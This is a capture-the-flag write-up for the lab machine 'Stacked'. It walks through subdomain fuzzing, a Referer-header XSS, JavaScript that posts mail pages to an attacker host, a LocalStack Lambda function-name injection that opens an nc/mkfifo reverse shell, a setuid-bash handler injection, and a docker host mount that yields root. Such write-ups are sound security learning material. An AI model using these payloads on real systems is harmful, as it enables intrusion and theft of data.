Stacked

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.228.28                  
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 04:06 EDT
Nmap scan report for 10.129.228.28
Host is up (0.0074s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2376/tcp open  docker

Detailed scan:

$ nmap -p 80,2376 -sC -sV --min-rate 3000 10.129.228.28                   
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 04:09 EDT
Nmap scan report for 10.129.228.28
Host is up (0.014s latency).

PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://stacked.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
2376/tcp open  ssl/docker?
| ssl-cert: Subject: commonName=stacked
| Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:0.0.0.0, IP Address:127.0.0.1, IP Address:172.17.0.1
| Not valid before: 2022-08-17T15:41:56
|_Not valid after:  2025-05-12T15:41:56
Service Info: Host: stacked.htb

Added stacked.htb to the /etc/hosts file based on the nmap scan results.

Web Enum

Port 80 just shows a basic count down page:

When I was about to do a wfuzz scan, I noticed something rather weird:

$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H 'Host: FUZZ.stacked.htb' -u http://stacked.htb
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://stacked.htb/
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                    
=====================================================================
000000032:   302        9 L      26 W       285 Ch      "blog"                     
000000029:   302        9 L      26 W       288 Ch      "privacy"                  
000000024:   302        9 L      26 W       283 Ch      "12"                       
000000028:   302        9 L      26 W       287 Ch      "spacer"                   
000000026:   302        9 L      26 W       286 Ch      "about"                    
000000022:   302        9 L      26 W       286 Ch      "warez"                    
000000021:   302        9 L      26 W       287 Ch      "serial"                   
000000025:   302        9 L      26 W       288 Ch      "contact"                  
000000027:   302        9 L      26 W       287 Ch      "search"                   
000000023:   302        9 L      26 W       285 Ch      "full"                     
000000020:   302        9 L      26 W       286 Ch      "crack"

For some reason, the length of the result is dependent on the sub-domain. Anyways, when filtering results by line length using the --hl 9 flag, I found a portfolio subdomain.

The portfolio page was promoting 'LocalStack Development':

In the About section, there's an option to download a file:

Here's the contents of the file:

$ cat docker-compose.yml 
version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"

This localstack software was probably running on the machine, and there must be a method to access it.

There was a form on the page, and submitting it sends this request:

So this page is PHP based. I ran gobuster on this to enumerate some directories:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -u http://portfolio.stacked.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://portfolio.stacked.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta.php             (Status: 403) [Size: 286]
/.htaccess.php        (Status: 403) [Size: 286]
/.htpasswd            (Status: 403) [Size: 286]
/.htpasswd.php        (Status: 403) [Size: 286]
/.hta                 (Status: 403) [Size: 286]
/.htaccess            (Status: 403) [Size: 286]
/assets               (Status: 301) [Size: 331] [--> http://portfolio.stacked.htb/assets/]
/css                  (Status: 301) [Size: 328] [--> http://portfolio.stacked.htb/css/]
/files                (Status: 301) [Size: 330] [--> http://portfolio.stacked.htb/files/]
/functions.php        (Status: 200) [Size: 0]
/js                   (Status: 301) [Size: 327] [--> http://portfolio.stacked.htb/js/]
/landing.php          (Status: 200) [Size: 30268]
/process.php          (Status: 200) [Size: 72]
/server-status        (Status: 403) [Size: 286]

I found it particularly weird that the form actually sent a request. Most of the time, these machines have static forms that do nothing.

Finding XSS -> Mail Subdomain

There was no other endpoint on this website, and I ran out of ideas. As such, I focused on entering random payloads in this form field.

Eventually I found that XSS was being checked for:

This could mean a simulated user was looking at my messages, and I have to find a way to bypass this (I literally had no other leads). Sending it still didn't work:

I was stuck here for really long. I could not bypass this weird check in any way. I thought about the fact that this process.php might be storing more than the actual message. It might be storing some additional information about the sender through the different HTTP headers.

I replaced the some of the HTTP headers with <script>document.location="http://10.10.14.18/hiiamxss_HEADERNAME"</script>. I did this for the User-Agent, Origin and Referer headers (the only ones without erroring out).

After a bit, I got a hit on my Python HTTP server:

The Referer header is vulnerable! Using this, I can now create a script to automate this.

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
URL = 'http://portfolio.stacked.htb'

headers = {
        'Referer':'<script src="http://10.10.14.18/evil.js"/>'
}
data = {
        'fullname':'Test',
        'email':'test@test.com',
        'tel':'111111111111',
        'subject':'t',
        'message':'yo!'
}

r = requests.post(URL + '/process.php', data=data, headers=headers, verify=False, proxies=proxies)

Using the above, I can start to steal pages from the ports within the docker-compose.yml file.

First, I had the machine retrieve my page so I could see the headers. The page mentioned using XMLHttpRequest, so I used just that:

var req = new XMLHttpRequest();    
req.open("POST", "http://10.10.14.18:8000/", false);    
req.send(null);

I started a listener port on port 8000, and this is the output from the request:

$ nc -lvnp 8000             
listening on [any] 8000 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.228.28] 60794
POST / HTTP/1.1
Host: 10.10.14.18:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mail.stacked.htb/read-mail.php?id=2
Origin: http://mail.stacked.htb
Connection: keep-alive
Content-Length: 0

There was a mail.stacked.htb domain!

Mail Enum -> S3 Bucket

I started to enumerate this instance by retrieving the page contents using this Python HTTP server for POST requests:

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs

class MyRequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        params = parse_qs(post_data.decode('utf-8'))

        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()

        for key, values in params.items():
            print(f"{key}: {values}")
    

def run_server(port=8000):
    server_address = ('', port)
    httpd = HTTPServer(server_address, MyRequestHandler)
    print(f"Server running on port {port}")
    httpd.serve_forever()

if __name__ == '__main__':
    run_server()

Here's the script I used to retrieve the page contents:

var url = "http://mail.stacked.htb/";
var attacker = "http://10.10.14.18:8000/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    var exfilxhr = new XMLHttpRequest();
    exfilxhr.open('POST', attacker, false);
    exfilxhr.send(xhr.responseText);
  }
};
xhr.open('GET', url, true);
xhr.send(null);

The output from this was a HTML page for an AdminLTE3 mailbox:

Interesting! I also noted that in the initial request, I saw the Referer header was set to http://mail.stacked.htb/read-mail.php?id=2. I changed the URL to make have the id parameter set to 1, and stole the page.

There was this interesting chunk here:

AWS Lambda RCE

There were some AWS terms in the docker-compose.yml like LAMBDA_EXECUTOR and SERVICES=serverless.

I went to read more about all of these, and found that for AWS, serverless means there is no infrastructure to be handled. Lambdas are a serverless, event-driven compute service used to run code without managing servers. From this, it appears abusing Lambdas is the next step.

In the documentation linked above, there are steps. First, I used their example file:

exports.handler = async function(event, context) {
  console.log("ENVIRONMENT VARIABLES\n" + JSON.stringify(process.env, null, 2))
  console.log("EVENT\n" + JSON.stringify(event, null, 2))
  return context.logStreamName
}

Then, zip this to create a deployment package:

zip function.zip index.js

Then use create-function to create the function.

$ aws lambda create-function --function-name my-function --zip-file fileb://function.zip --handler index.handler --runtime nodejs12.x --endpoint-url http://s3-testing.stacked.htb --role arn:aws:iam::123456789012:role/lambda-ex
{
    "FunctionName": "my-function",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:my-function",
    "Runtime": "nodejs12.x",
    "Role": "arn:aws:iam::123456789012:role/lambda-ex",
    "Handler": "index.handler",
    "CodeSize": 321,
    "Description": "",
    "Timeout": 3,
    "LastModified": "2024-03-17T10:20:23.194+0000",
    "CodeSha256": "FnxeIaNQovK1apt/9eYBbnztePtHivqhO0rLkPcRgiY=",
    "Version": "$LATEST",
    "VpcConfig": {},
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "c68e5593-e940-49f2-8974-df907836e04f",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
}

The box did not have nodejs20.x, so I replaced it with nodejs12.x which was present.

This function can be invoked using the invoke command:

$ aws lambda invoke --function-name my-function out --log-type Tail --endpoint-url http://s3-testing.stacked.htb

{
    "StatusCode": 200,
    "LogResult": "G1szMm1TVEFSVCBSZXF1ZXN0SWQ6IGExMjUwYTcwLWMzOWItMWJmMC0wNzk3LWU3OWE2ZGU2MTgxMSBWZXJzaW9uOiAkTEFURV....,
    "ExecutedVersion": "$LATEST"
}

However, there was nothing I could do with this! The machine was serverless, so the container run would die after a few seconds.

Localstack + AWS -> RCE

So now I know I can at least run Javascript somewhere on the machine. Researching for LocalStack RCE exploits returned these 2 pages:

In short, there's an RCE exploit in the dashboard, which I assume is running on port 8080 based the docker-compose.yml file.

The specific vulnerability lies in the functionName parameter, which is taken fron the name of the Lambda function executed. To exploit this, I have to specify a malicious function name within the AWS instance.

This is triggered from loading the dashboard, so I can change the initial XSS payload to just visit http://127.0.0.1:8080 instead of loading a remote script via document.location.

Based on the SonarSource blog, the payload is just the command to be executed:

aws lambda get-function --function-name test;touch sonarsource.txt

To exploit this, I created a new function:

$ aws lambda create-function --function-name "test;ping -c 1 10.10.14.18; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.18 443 >/tmp/f"....

The ping command is used for making sure it works. Afterwards, I made the site visit http://127.0.0.1:8080 via XSS, and I got a shell!

I can then grab the user flag from /home/localstack.

Privilege Escalation

Lambda Processes -> Container Root

This container did not have anything useful within it. I ran pspy64 and the processes created when I used aws for the initial RCE:

(.venv) /tmp $ ./pspy64
2024/03/17 11:28:02 CMD: UID=1001 PID=481    | /bin/sh -c { test `which aws` || . .venv/bin/activate; }; aws --endpoint-url="http://localhost:4566" lambda list-event-source-mappings --function-name test;ping -c 1 10.10.14.18; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.18 443 >/tmp/f                                                                            
2024/03/17 11:28:02 CMD: UID=0    PID=25     | python bin/localstack start --host 
2024/03/17 11:28:02 CMD: UID=1001 PID=24     | python bin/localstack web 
2024/03/17 11:28:02 CMD: UID=1001 PID=23     | make web 
2024/03/17 11:28:02 CMD: UID=0    PID=22     | make infra 
2024/03/17 11:28:02 CMD: UID=1001 PID=21     | bash -c if [ "$START_WEB" = "0" ]; then exit 0; fi; make web 
2024/03/17 11:28:02 CMD: UID=0    PID=17     | tail -qF /tmp/localstack_infra.log /tmp/localstack_infra.err 
2024/03/17 11:28:02 CMD: UID=0    PID=15     | /usr/bin/python3.8 /usr/bin/supervisord -c /etc/supervisord.conf 
2024/03/17 11:28:02 CMD: UID=0    PID=106    | node /opt/code/localstack/localstack/node_modules/kinesalite/cli.js --shardLimit 100 --port 44705 --createStreamMs 500 --deleteStreamMs 500 --updateStreamMs 500 --path /var/localstack/data/kinesis
2024/03/17 11:30:48 CMD: UID=0    PID=556    | unzip -o -q /tmp/localstack/zipfile.924d85b0/original_lambda_archive.zip 
2024/03/17 11:28:02 CMD: UID=0    PID=1      | /bin/bash /usr/local/bin/docker-entrypoint.sh 

I noticed that there was a .zip file created.

When I invoked my function, it would do a few more commands that were pretty long.

2024/03/17 11:31:31 CMD: UID=0    PID=568    | /bin/sh -c CONTAINER_ID="$(docker create -i   -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED"   --rm "lambci/lambda:nodejs12.x" "index.handler")";docker cp "/tmp/localstack/zipfile.924d85b0/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";

The above simply created a Docker container in a subshell, and I was looknig for things ICould control. index.handler was the one input I could change.

As such, I created a function with chmod u+s /bin/bash appended to the back since the index.handler string was already in a subshell.

$ aws lambda create-function --function-name "test1" --zip-file fileb://function.zip --handler 'index.handler; $(chmod u+s /bin/bash)' --runtime nodejs12.x --endpoint-url http://s3-testing.stacked.htb --role arn:aws:iam::123456789012:role/lambda-ex

$ aws lambda invoke --function-name test1 --endpoint-url http://s3-testing.stacked.htb out

Afterwards, I could become root:

Docker -> Root File Access

The main thing I wanted to enumerate first was docker, since this container was spawning other containers. It might be possible that it had an image for the machine with the flag in it.

As root, I can use it to view the current running containers and images present:

# docker ps
CONTAINER ID        IMAGE                               COMMAND                  CREATED             STATUS              PORTS                                                                                                  NAMES
7dc04fa2d220        localstack/localstack-full:0.12.6   "docker-entrypoint.sh"   4 hours ago         Up 4 hours          127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp   localstack_main

# docker image ls
REPOSITORY                   TAG                 IMAGE ID            CREATED             SIZE
localstack/localstack-full   0.12.6              7085b5de9f7c        2 years ago         888MB
localstack/localstack-full   <none>              0601ea177088        3 years ago         882MB
lambci/lambda                nodejs12.x          22a4ada8399c        3 years ago         390MB
lambci/lambda                nodejs10.x          db93be728e7b        3 years ago         385MB
lambci/lambda                nodejs8.10          5754fee26e6e        3 years ago         813MB

I checked each of them, and found that localstack-full was the correct one to use.

# docker run -d -v /:/mnt -it 0601ea177088        
c5807cc0f7b2de02ee658a592c37560d5cb4f216f50cfd6a4501e51ff025d55a

# docker ps
CONTAINER ID        IMAGE                               COMMAND                  CREATED             STATUS              PORTS                                                                                                  NAMES
c5807cc0f7b2        0601ea177088                        "docker-entrypoint.sh"   29 seconds ago      Up 28 seconds       4566/tcp, 4571/tcp, 8080/tcp                                                                           elastic_maxwell
7dc04fa2d220        localstack/localstack-full:0.12.6   "docker-entrypoint.sh"   4 hours ago         Up 4 hours          127.0.0.1:443->443/tcp, 127.0.0.1:4566->4566/tcp, 127.0.0.1:4571->4571/tcp, 127.0.0.1:8080->8080/tcp   localstack_mai

Now, I could execute commands on it, and I had mounted the root file directory at /mnt, allowing me to grab the flag:

Using this, I could ssh into the machine as root since I had access to the root user's .ssh directory:

Rooted!

Last updated